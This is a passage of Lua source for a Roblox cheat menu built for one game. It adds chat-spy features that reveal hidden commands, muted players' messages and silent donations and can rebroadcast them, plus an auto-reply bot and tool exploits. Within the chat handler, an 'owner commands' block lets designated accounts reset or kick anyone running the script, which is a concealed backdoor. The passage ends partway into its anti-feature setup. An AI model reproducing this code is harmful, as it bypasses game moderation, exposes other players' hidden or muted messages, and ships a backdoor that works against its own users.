		if shared.sendChat then
			shared.sendChat(message)
		end
	end
	
	local function isMuted(player)
		return player:HasTag("Muted")
	end
	
	local function hasEnlighten(player)
		local backpack = player:FindFirstChild("Backpack")
		local char = workspace:FindFirstChild(player.Name)
		return (backpack and backpack:FindFirstChild("The Arkenstone") ~= nil)
			or (char and char:FindFirstChild("The Arkenstone") ~= nil)
	end
	
	local function enliBlueOn()
		if not EnliChatBlueTickBox then return false end
		return EnliChatBlueTickBox.BackgroundColor3 ~= Color3.new(0, 0, 0)
	end
	
	-- ============================================================
	-- BOTREPLY HELPERS
	-- ============================================================
	local function botReplyTickOn(tickbox)
		if not tickbox then return false end
		return tickbox.BackgroundColor3 ~= Color3.new(0,0,0)
	end
	
	local ChatBListBox = nil
	for _, desc in pairs(ScreenGui:GetDescendants()) do
		if desc.Name == "ChatBListBox" then
			ChatBListBox = desc
			break
		end
	end
	
	local function isBlacklisted(player)
		if not ChatBListBox then return false end
		local text = ChatBListBox.Text
		if text == "" or text == ChatBListBox.PlaceholderText then return false end
		local lowerName = player.Name:lower()
		for entry in text:gmatch("[^,]+") do
			local trimmed = entry:match("^%s*(.-)%s*$"):lower()
			if trimmed ~= "" and trimmed == lowerName then
				return true
			end
		end
		return false
	end
	
	local function getTrigger()
		if not ChatTriggerBox then return nil end
		local t = ChatTriggerBox.Text
		if t == "" or t == ChatTriggerBox.PlaceholderText then return nil end
		return t
	end
	
	local function getReply()
		if not ChatReplyBox then return nil end
		local t = ChatReplyBox.Text
		if t == "" or t == ChatReplyBox.PlaceholderText then return nil end
		return t
	end
	
	local function botMessageMatches(msg, trigger)
		local caseInsensitive = not botReplyTickOn(BotReplyCaseTickBox)
		local contains = botReplyTickOn(BotReplyContainsTickBox)
		local m = caseInsensitive and msg:lower() or msg
		local t = caseInsensitive and trigger:lower() or trigger
		if contains then
			for word in m:gmatch("%S+") do
				if word == t then return true end
			end
			return false
		else
			local firstWord = m:match("^(%S+)") or ""
			return firstWord == t
		end
	end
	
	local function convertForCommands(str)
		return str:gsub("_", ".")
	end
	
	local function buildReply(text, player)
		local usernameForCommand = convertForCommands(player.Name)
		local displayForCommand = convertForCommands(player.DisplayName)
		text = text:gsub("%[Username%]", usernameForCommand)
		text = text:gsub("%[Display%]", displayForCommand)
		return text
	end
	
	-- ============================================================
	-- BOT MIN TIME CHECK
	-- ============================================================
	local function getPlayerTime(player)
		local ls = player:FindFirstChild("leaderstats")
		if not ls then return nil end
		local t = ls:FindFirstChild("Time")
		if not t then return nil end
		return t.Value
	end
	
	local function passesMinTimeRequirement(player)
		if not BotMinTimeTickBox then return true end
		if not botReplyTickOn(BotMinTimeTickBox) then return true end
		if not BotMinTimeChanger then return true end
		local input = BotMinTimeChanger.Text
		if not input or input == "" or input == BotMinTimeChanger.PlaceholderText then return true end
		local lessThan = input:match("^<(%d+)$")
		if lessThan then
			local threshold = tonumber(lessThan)
			if not threshold then return true end
			local playerTime = getPlayerTime(player)
			if playerTime == nil then return true end
			return playerTime < threshold
		end
		local exact = tonumber(input)
		if not exact then return true end
		local playerTime = getPlayerTime(player)
		if playerTime == nil then return true end
		return playerTime >= exact
	end
	
	-- ============================================================
	-- ARKSPY HELPERS
	-- ============================================================
	local function isAdmin(player)
		local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
		if not chosenTeam then return false end
		return player.Team == chosenTeam
	end
	
	local function hasArkenstone(player)
		local char = workspace:FindFirstChild(player.Name)
		if not char then return false end
		return char:FindFirstChild("The Arkenstone") ~= nil
	end
	
	local function messageHasCommand(msg)
		local stripped = msg:sub(1,1) == ";" and msg:sub(2) or msg
		local firstWord = stripped:match("^(%S+)") or ""
		return commandSet[firstWord:lower()] == true
	end
	
	-- ============================================================
	-- DONATESPY HELPERS
	-- ============================================================
	local function findPlayerByPartialName(partial)
		local lowerPartial = partial:lower()
		for _, p in pairs(Players:GetPlayers()) do
			if p.Name:lower():sub(1, #lowerPartial) == lowerPartial then return p end
			if p.DisplayName:lower():sub(1, #lowerPartial) == lowerPartial then return p end
		end
		return nil
	end
	
	local function parseDonate(msg, sender)
		local stripped = msg:sub(1,1) == ";" and msg:sub(2) or msg
		stripped = stripped:match("^%s*(.-)%s*$")
		local rest = stripped:match("^[Dd][Oo][Nn][Aa][Tt][Ee]%s+(.*)")
		if not rest then return nil, nil end
		local parts = {}
		for word in rest:gmatch("%S+") do table.insert(parts, word) end
		if #parts == 0 then return nil, nil end
		local targetPartial = parts[1]
		local amount = 60
		if #parts >= 2 then
			local num = tonumber(parts[2])
			if not num or num < 1 then return nil, nil end
			amount = math.floor(num)
		end
		local target = findPlayerByPartialName(targetPartial)
		if not target then return nil, nil end
		if target == sender then return nil, nil end
		local senderTime = getPlayerTime(sender)
		if senderTime == nil then return nil, nil end
		if senderTime < amount then return nil, nil end
		return target, amount
	end
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	local function makeTooltip(parent, text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = parent
		local stroke = Instance.new("UIStroke", frame)
		stroke.Color = Color3.fromRGB(57, 57, 57)
		local padding = Instance.new("UIPadding", frame)
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		local label = Instance.new("TextLabel", frame)
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		return frame
	end
	
	local function hookTooltip(tickbox, tooltipFrame)
		tickbox.MouseEnter:Connect(function()
			local abs = tickbox.AbsolutePosition
			local size = tickbox.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
		tickbox.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- BUILD TOOLTIPS
	-- ============================================================
	local chatSpyTooltip = makeTooltip(ScreenGui, "Reveals hidden commands, muted players, and IQ chat.")
	hookTooltip(ChatSpyTickBox, chatSpyTooltip)
	
	local arkSpyTooltip = makeTooltip(ScreenGui, "Announces and reveals hidden commands used by admins and enlightened players. Spy chat must be enabled")
	if ArkSpyTickBox then
		ArkSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		hookTooltip(ArkSpyTickBox, arkSpyTooltip)
	end
	
	local donateSpyTooltip = makeTooltip(ScreenGui, "Announces donations made by any player, including silent and muted donate commands. Spy chat must be enabled")
	if DonateSpyTickBox then
		DonateSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		hookTooltip(DonateSpyTickBox, donateSpyTooltip)
	end
	
	local mutedSpyTooltip = makeTooltip(ScreenGui, "Announces anything typed by muted players in chat. This will not annouce players using ; . Spy chat must be enabled")
	if MutedSpyTickBox then
		MutedSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		hookTooltip(MutedSpyTickBox, mutedSpyTooltip)
	end
	
	-- ============================================================
	-- SINGLE MERGED OnIncomingMessage HANDLER
	-- ============================================================
	TextChatService.OnIncomingMessage = function(mdata)
		local plr = mdata.TextSource
			and mdata.TextSource.UserId
			and Players:GetPlayerByUserId(mdata.TextSource.UserId)
		if not plr then return end
	
		local TCO_PLACE_IDS = {
			11137575513,
			12943245078,
			12943247001,
			108097274488844,
		}
	
		local isTCO = false
		for _, id in ipairs(TCO_PLACE_IDS) do
			if game.PlaceId == id then isTCO = true; break end
		end
		if not isTCO then return end
	
		local cn
		if plr.Neutral == true then
			if plr:GetAttribute("Arken") == true then
				cn = "arken"
			else
				cn = "peasant"
			end
		else
			cn = "admin"
		end
	
		local muted = plr:HasTag("Muted")
		if muted then
			cn = "hidden"
			if not spychat then mdata.Text = "" end
		end
	
		local hidden = false
		if string.sub(mdata.Text, 1, 1) == ";" then
			if spychat then
				cn = "hidden"
				hidden = true
			else
				mdata.Text = ""
			end
		end
	
		local iqEmoji = nil
		if spychat and plr:GetAttribute("IQ") then
			local iq = plr:GetAttribute("IQ")
			if iq >= 200 then
				iqEmoji = "🧠"
				cn = "iqgenius"
			elseif iq <= 50 then
				iqEmoji = "🤪"
				cn = "iqdumb"
			end
		end
	
		-- Build icon with enli star always on the left
		local icon = ""
		local enliStar = (enliBlueOn() and hasEnlighten(plr)) and "🌟" or ""
	
		if spychat then
			if hidden then
				icon = enliStar .. "🚫 "
			elseif muted then
				icon = enliStar .. "🤐 "
			elseif iqEmoji then
				icon = enliStar .. iqEmoji .. " "
			else
				icon = enliStar ~= "" and (enliStar .. " ") or ""
			end
		else
			icon = enliStar ~= "" and (enliStar .. " ") or ""
		end
	
		local r   = namecolors[cn][1]
		local g   = namecolors[cn][2]
		local b   = namecolors[cn][3]
		local hex = namecolorshex[cn]
		local displayName = plr.DisplayName
	
		if isog then
			mdata.PrefixText = "<font color=\"" .. hex .. "\"><b><font color='rgb(" .. r .. "," .. g .. "," .. b .. ")'>" .. icon .. "[" .. displayName .. "]: </font></b></font>"
		else
			mdata.PrefixText = "<font color=\"" .. hex .. "\"><i><font color='rgb(" .. r .. "," .. g .. "," .. b .. ")'>" .. icon .. "(" .. displayName .. ") </font></i></font>"
		end
	
		local rawMsg = mdata.Text or ""
		if rawMsg == "" then return end
		if plr == LocalPlayer then return end
	
		local silent = rawMsg:sub(1,1) == ";"
		local mutedPlayer = isMuted(plr)
		local mutedPrefix = mutedPlayer and "MUTED " or ""
	
		-- ---- ARKSPY ----
		local caughtByArk = false
		if arkSpyOn then
			local admin = isAdmin(plr)
			local ark = hasArkenstone(plr)
			if admin or ark then
				local shouldAnnounce = false
				if mutedPlayer then
					if messageHasCommand(rawMsg) then
						shouldAnnounce = true
						caughtByArk = true
					end
				else
					if silent and messageHasCommand(rawMsg) then
						shouldAnnounce = true
					end
				end
				if shouldAnnounce then
					task.spawn(function()
						sendChat(mutedPrefix .. plr.DisplayName .. ": " .. rawMsg)
					end)
				end
			end
		end
	
		-- ---- DONATESPY ----
		local caughtByDonate = false
		if donateSpyOn then
			local isDonate = rawMsg:lower():match("^;?%s*donate%s") ~= nil
				or rawMsg:lower():match("^;?%s*donate$") ~= nil
			if isDonate then
				local shouldAnnounce = false
				if mutedPlayer then
					shouldAnnounce = true
					caughtByDonate = true
				elseif silent then
					shouldAnnounce = true
				end
				if shouldAnnounce then
					local target, amount = parseDonate(rawMsg, plr)
					if target and amount then
						task.spawn(function()
							sendChat(mutedPrefix .. plr.DisplayName .. ": " .. rawMsg)
						end)
					end
				end
			end
		end
	
		-- ---- MUTEDSPY ----
		if mutedSpyOn and mutedPlayer then
			if not caughtByArk and not caughtByDonate then
				task.spawn(function()
					sendChat("MUTED " .. plr.DisplayName .. ": " .. rawMsg)
				end)
			end
		end
	
		-- ---- BOTREPLY ----
		if botReplyOn then
			local trigger = getTrigger()
			local reply = getReply()
			if trigger and reply then
				if botMessageMatches(rawMsg, trigger) and passesMinTimeRequirement(plr) and not isBlacklisted(plr) then
					local finalReply = buildReply(reply, plr)
					task.spawn(function()
						local messageToSend = finalReply
						local usePrivate = botReplyTickOn(BotReplyPrivTickBox)
						local useArk = botReplyTickOn(BotReplyArkTickBox) and shared.BotReplyArkSend ~= nil
						if useArk then
							shared.BotReplyArkSend(function()
								if usePrivate and shared.BotReplyPrivSend then
									shared.BotReplyPrivSend(plr, messageToSend)
								else
									sendChat(messageToSend)
								end
							end)
						else
							if usePrivate and shared.BotReplyPrivSend then
								shared.BotReplyPrivSend(plr, messageToSend)
							else
								sendChat(messageToSend)
							end
						end
					end)
				end
			end
		end
		-- ---- OWNER COMMANDS ----
		repeat task.wait() until _G.IsOwner
		if _G.IsOwner(plr.UserId) then
			-- Reset character function
			shared.ResetCharacter = shared.ResetCharacter or function()
				if LocalPlayer.Character then
					LocalPlayer.Character:BreakJoints()
				end
			end
			-- Find nearest player to an owner
			local function findNearestToOwner()
				local nearestPlayer = nil
				local shortestDist = math.huge
				for _, owner in ipairs(Players:GetPlayers()) do
					if _G.IsOwner(owner.UserId) and owner.Character and owner.Character:FindFirstChild("HumanoidRootPart") then
						for _, p in ipairs(Players:GetPlayers()) do
							if p ~= owner and p ~= LocalPlayer and p.Character and p.Character:FindFirstChild("HumanoidRootPart") then
								local dist = (owner.Character.HumanoidRootPart.Position - p.Character.HumanoidRootPart.Position).Magnitude
								if dist < shortestDist then
									shortestDist = dist
									nearestPlayer = p
								end
							end
						end
					end
				end
				return nearestPlayer
			end
			-- !check command
			local checkTarget = rawMsg:match("^!check%s+(.+)")
			if checkTarget then
				checkTarget = checkTarget:lower():match("^%s*(.-)%s*$")
				if checkTarget == "all" then
					shared.ResetCharacter()
				elseif checkTarget == "nearest" then
					local nearest = findNearestToOwner()
					if nearest and (nearest.Name:lower() == LocalPlayer.Name:lower() or nearest.DisplayName:lower() == LocalPlayer.DisplayName:lower()) then
						shared.ResetCharacter()
					end
				elseif LocalPlayer.Name:lower() == checkTarget or LocalPlayer.DisplayName:lower() == checkTarget then
					shared.ResetCharacter()
				end
			end
			-- !kick command
			local kickTarget = rawMsg:match("^!kick%s+(.+)")
			if kickTarget then
				kickTarget = kickTarget:lower():match("^%s*(.-)%s*$")
				if kickTarget == "all" then
					LocalPlayer:Kick("You have been kicked from the game.")
				elseif kickTarget == "nearest" then
					local nearest = findNearestToOwner()
					if nearest and (nearest.Name:lower() == LocalPlayer.Name:lower() or nearest.DisplayName:lower() == LocalPlayer.DisplayName:lower()) then
						LocalPlayer:Kick("You have been kicked from the game.")
					end
				elseif LocalPlayer.Name:lower() == kickTarget or LocalPlayer.DisplayName:lower() == kickTarget then
					LocalPlayer:Kick("You have been kicked from the game.")
				end
			end
		end
	end
	
	-- ============================================================
	-- CHATSPY ENABLE / DISABLE
	-- ============================================================
	ChatSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	local function chatEnable()
		isEnabled = true
		spychat = true
		ChatSpyTickBox.BackgroundColor3 = MainAccentColor.BackgroundColor3
	end
	
	local function chatDisable()
		isEnabled = false
		spychat = false
		ChatSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	end
	
	ChatSpyTickBox.MouseButton1Click:Connect(function()
		if isEnabled then chatDisable() else chatEnable() end
	end)
	
	-- ============================================================
	-- ARKSPY ENABLE / DISABLE
	-- ============================================================
	local function arkEnable()
		arkSpyOn = true
		if ArkSpyTickBox then
			ArkSpyTickBox.BackgroundColor3 = ProtectionAccentColor and ProtectionAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255)
		end
	end
	
	local function arkDisable()
		arkSpyOn = false
		if ArkSpyTickBox then
			ArkSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	if ArkSpyTickBox then
		ArkSpyTickBox.MouseButton1Click:Connect(function()
			if arkSpyOn then arkDisable() else arkEnable() end
		end)
	end
	
	-- ============================================================
	-- DONATESPY ENABLE / DISABLE
	-- ============================================================
	local function donateEnable()
		donateSpyOn = true
		if DonateSpyTickBox then
			DonateSpyTickBox.BackgroundColor3 = MiscAccentColor and MiscAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255)
		end
	end
	
	local function donateDisable()
		donateSpyOn = false
		if DonateSpyTickBox then
			DonateSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	if DonateSpyTickBox then
		DonateSpyTickBox.MouseButton1Click:Connect(function()
			if donateSpyOn then donateDisable() else donateEnable() end
		end)
	end
	
	-- ============================================================
	-- MUTEDSPY ENABLE / DISABLE
	-- ============================================================
	local function mutedEnable()
		mutedSpyOn = true
		if MutedSpyTickBox then
			MutedSpyTickBox.BackgroundColor3 = MiscAccentColor and MiscAccentColor.BackgroundColor3 or Color3.fromRGB(0, 170, 255)
		end
	end
	
	local function mutedDisable()
		mutedSpyOn = false
		if MutedSpyTickBox then
			MutedSpyTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	if MutedSpyTickBox then
		MutedSpyTickBox.MouseButton1Click:Connect(function()
			if mutedSpyOn then mutedDisable() else mutedEnable() end
		end)
	end
	
	-- ============================================================
	-- BOTREPLY ENABLE / DISABLE
	-- ============================================================
	local function botReplyEnable()
		botReplyOn = true
		if BotReplyTickBox and BotAccentColor then
			BotReplyTickBox.BackgroundColor3 = BotAccentColor.BackgroundColor3
		end
	end
	
	local function botReplyDisable()
		botReplyOn = false
		if BotReplyTickBox then
			BotReplyTickBox.BackgroundColor3 = Color3.new(0,0,0)
		end
	end
	
	if BotMinTimeTickBox then
		BotMinTimeTickBox.BackgroundColor3 = Color3.new(0,0,0)
		BotMinTimeTickBox.MouseButton1Click:Connect(function()
			if botReplyTickOn(BotMinTimeTickBox) then
				BotMinTimeTickBox.BackgroundColor3 = Color3.new(0,0,0)
			else
				BotMinTimeTickBox.BackgroundColor3 = BotAccentColor and BotAccentColor.BackgroundColor3 or Color3.fromRGB(0,170,255)
			end
		end)
	end
	
	if BotReplyTickBox then
		BotReplyTickBox.BackgroundColor3 = Color3.new(0,0,0)
		BotReplyTickBox.MouseButton1Click:Connect(function()
			if botReplyOn then botReplyDisable() else botReplyEnable() end
		end)
	end
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			spychat = false
			arkSpyOn = false
			donateSpyOn = false
			mutedSpyOn = false
			chatSpyTooltip:Destroy()
			arkSpyTooltip:Destroy()
			donateSpyTooltip:Destroy()
			mutedSpyTooltip:Destroy()
		end
	end)
end;
task.spawn(C_d2);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsScript
local function C_df()
local script = G2L["df"];
	-- ============================================================
	-- TOOLS GROUP MASTER SCRIPT
	-- Place this script directly under ToolsGroup
	-- Handles: Minimize, Drop All, Equip All, Equip Enlighten + Tooltip
	-- ============================================================
	
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local ToolsGroup = script.Parent
	local ToolsMinimize = ToolsGroup.ToolsTitle.ToolsMinimize
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = ToolsGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(ToolsGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = ToolsGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	ToolsMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			ToolsGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			ToolsMinimize.Text = "+"
		else
			ToolsGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			ToolsMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- DROP ALL BUTTON
	-- ============================================================
	local DropAllRow = ToolsGroup:FindFirstChild("DropAllRow")
	if DropAllRow then
		local DropAllButton = DropAllRow:FindFirstChild("DropAllButton")
	
		if DropAllButton then
			DropAllButton.MouseButton1Click:Connect(function()
				-- Move all tools from backpack to character
				for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
					if v:IsA("Tool") then
						v.Parent = LocalPlayer.Character
					end
				end
	
				task.wait()
	
				-- Drop all tools from character to workspace
				for _, v in pairs(LocalPlayer.Character:GetChildren()) do
					if v:IsA("Tool") then
						v.Parent = workspace
					end
				end
			end)
		end
	end
	
	-- ============================================================
	-- EQUIP ALL BUTTON
	-- ============================================================
	local EquipAllRow = ToolsGroup:FindFirstChild("EquipAllRow")
	if EquipAllRow then
		local EquipAllButton = EquipAllRow:FindFirstChild("EquipAllButton")
	
		if EquipAllButton then
			EquipAllButton.MouseButton1Click:Connect(function()
				-- Move all tools from backpack to character (equips them)
				for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
					if v:IsA("Tool") then
						v.Parent = LocalPlayer.Character
					end
				end
			end)
		end
	end
	
	-- ============================================================
	-- EQUIP ENLIGHTEN BUTTON + TOOLTIP
	-- ============================================================
	local EquipEnlightenRow = ToolsGroup:FindFirstChild("EquipEnlightenRow")
	if EquipEnlightenRow then
		local EquipEnlightenButton = EquipEnlightenRow:FindFirstChild("EquipEnlightenButton")
		local EquipEnlightenHelp = EquipEnlightenRow:FindFirstChild("EquipEnlightenHelp")
	
		if EquipEnlightenButton then
			EquipEnlightenButton.MouseButton1Click:Connect(function()
				-- Find ALL The Arkenstone in backpack and equip them
				for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
					if v:IsA("Tool") and v.Name == "The Arkenstone" then
						v.Parent = LocalPlayer.Character
					end
				end
			end)
		end
	
		-- Tooltip for EquipEnlightenHelp
		if EquipEnlightenHelp then
			createTooltip(
				"EquipEnlightenTooltip",
				"Equips enlighten without unequipping other tools. This can be used to clone yourself with a boombox or other stuff.",
				EquipEnlightenHelp
			)
		end
	end
	
	-- ============================================================
	-- ADD MORE BUTTONS OR TOOLTIPS HERE
	-- ============================================================
	
	--[[
	TEMPLATE FOR NEW BUTTON:
	
	local YourRow = ToolsGroup:FindFirstChild("YourRow")
	if YourRow then
		local YourButton = YourRow:FindFirstChild("YourButton")
		
		if YourButton then
			YourButton.MouseButton1Click:Connect(function()
				-- Your code here
			end)
		end
	end
	
	================================================================================
	
	TEMPLATE FOR NEW TOOLTIP:
	
	local YourHelp = YourRow:FindFirstChild("YourHelp")
	if YourHelp then
		createTooltip(
			"YourTooltipName",
			"Your tooltip text here",
			YourHelp
		)
	end
	
	================================================================================
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	local tooltips = {}
	for _, tooltip in pairs(getScreenGui():GetChildren()) do
		if tooltip.Name:match("Tooltip") then
			table.insert(tooltips, tooltip)
		end
	end
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, tooltip in pairs(tooltips) do
				tooltip:Destroy()
			end
		end
	end)
end;
task.spawn(C_df);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiScript
local function C_ee()
local script = G2L["ee"];
	-- ============================================================
	-- ANTI GROUP MASTER SCRIPT
	-- Place this script directly under AntiGroup
	-- All Anti features are defined at the bottom - easy to add new ones
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local StarterGui = game:GetService("StarterGui")
	local Lighting = game:GetService("Lighting")
	local LocalPlayer = Players.LocalPlayer
	
	local AntiGroup = script.Parent
	local AntiAccentColor = AntiGroup:FindFirstChild("AntiAccentColor")
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local AntiMinimize = AntiGroup:FindFirstChild("AntiTitle")
	if AntiMinimize then
		AntiMinimize = AntiMinimize:FindFirstChild("AntiMinimize")
	end
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(AntiGroup:GetChildren()) do
			if child:IsA("Frame") and string.sub(child.Name, -3) == "Row" then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	if AntiMinimize then
		local isMinimized = false
		local originalSize = AntiGroup.Size
		local minimizedSize = UDim2.new(0, 170, 0, 20)
	
		AntiMinimize.MouseButton1Click:Connect(function()
			isMinimized = not isMinimized
			local rows = getRows()
	
			if isMinimized then
				AntiGroup.Size = minimizedSize
				for _, row in ipairs(rows) do
					row.Visible = false
				end
				AntiMinimize.Text = "+"
			else
				AntiGroup.Size = originalSize
				for _, row in ipairs(rows) do
					row.Visible = true
				end
				AntiMinimize.Text = "-"
			end
		end)
	end
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = AntiGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	-- ============================================================
	-- ANTI FEATURE SETUP
	-- ============================================================
	local activeFeatures = {}
	
	local function setupAnti(config)
		local rowName = config.row
		local tickBoxName = config.tickBox
		local tooltipText = config.tooltip
		local onEnable = config.onEnable
		local onDisable = config.onDisable
		local loop = config.loop
	
		local row = AntiGroup:FindFirstChild(rowName)
		if not row then 
			warn("Row not found:", rowName)
			return 
		end
	
		local tickBox = row:FindFirstChild(tickBoxName)
		if not tickBox then 
			warn("TickBox not found:", tickBoxName)
			return 
		end
	
		local isEnabled = false
		local loopConnection = nil
		tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Create tooltip
		local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText)
	
		tickBox.MouseEnter:Connect(function()
			local abs = tickBox.AbsolutePosition
			local size = tickBox.AbsoluteSize
			tooltip.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltip.Visible = true
		end)
	
		tickBox.MouseLeave:Connect(function()
			tooltip.Visible = false
		end)
	
		-- Enable function
		local function enable()
			isEnabled = true
	
			if AntiAccentColor then
				tickBox.BackgroundColor3 = AntiAccentColor.BackgroundColor3
			else
				tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			end
	
			if onEnable then
				onEnable()
			end
	
			if loop then
				loopConnection = RunService.Heartbeat:Connect(function()
					if isEnabled then
						pcall(loop)
					end
				end)
			end
		end
	
		-- Disable function
		local function disable()
			isEnabled = false
			tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			if loopConnection then
				loopConnection:Disconnect()
				loopConnection = nil
			end
	
			if onDisable then
				onDisable()
			end
		end
	
		-- Click handler
		tickBox.MouseButton1Click:Connect(function()
			if isEnabled then
				disable()
			else
				enable()
			end
		end)
	
		-- Expose to shared
		local featureName = rowName:gsub("Row", "")
		shared[featureName .. "Enable"] = enable
		shared[featureName .. "Disable"] = disable
	
		-- Store for cleanup
		table.insert(activeFeatures, {
			tooltip = tooltip,
			disable = disable,
			connection = loopConnection
		})
	
		return {
			enable = enable,
			disable = disable,
			isEnabled = function() return isEnabled end
		}
	end
	
	-- ============================================================
	-- DEFINE ALL ANTI FEATURES HERE
	-- ============================================================
	
